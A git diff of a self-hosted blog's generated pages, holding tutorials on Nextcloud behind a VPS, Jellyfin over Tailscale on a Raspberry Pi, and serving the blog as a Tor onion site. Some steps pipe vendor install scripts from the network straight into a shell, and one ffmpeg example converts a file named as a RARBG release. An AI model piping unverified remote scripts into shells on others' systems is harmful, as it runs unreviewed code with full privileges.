    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/jellyfin/page/1/index.html b/public-onion/tags/jellyfin/page/1/index.html new file mode 100644 index 0000000..aee8bc7 --- /dev/null +++ b/public-onion/tags/jellyfin/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/jellyfin/ + + + + + + diff --git a/public-onion/tags/letsencrypt/index.html b/public-onion/tags/letsencrypt/index.html new file mode 100644 index 0000000..2b90779 --- /dev/null +++ b/public-onion/tags/letsencrypt/index.html @@ -0,0 +1,382 @@ + + + + + + + +Letsencrypt | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/letsencrypt/index.xml b/public-onion/tags/letsencrypt/index.xml new file mode 100644 index 0000000..a5a60c6 --- /dev/null +++ b/public-onion/tags/letsencrypt/index.xml @@ -0,0 +1,420 @@ + + + + Letsencrypt on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/ + Recent content in Letsencrypt on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 19 Sep 2025 00:00:00 +0000 + + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
